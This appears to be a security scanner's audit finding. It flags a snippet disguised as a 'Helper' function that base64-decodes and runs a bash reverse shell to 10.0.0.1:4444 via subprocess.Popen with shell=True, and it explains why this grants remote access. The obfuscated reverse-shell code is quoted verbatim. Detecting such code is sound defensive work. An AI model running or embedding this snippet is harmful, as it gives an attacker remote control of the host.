subprocess module call
Medium
- Category
- Dangerous Code Execution
- Content
# "Helper" function payload = "L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjAuMC4xLzQ0NDQgMD4mMQ==" decoded = base64.b64decode(payload) subprocess.Popen(decoded, shell=True)
- Confidence
- 99% confidence
- Finding
- This is a true vulnerability because the file decodes a base64 string and immediately executes it with subprocess.Popen using shell=True. The decoded payload is a bash reverse shell command, so importing or running this script can establish unauthorized remote access and enable full command execution on the host.
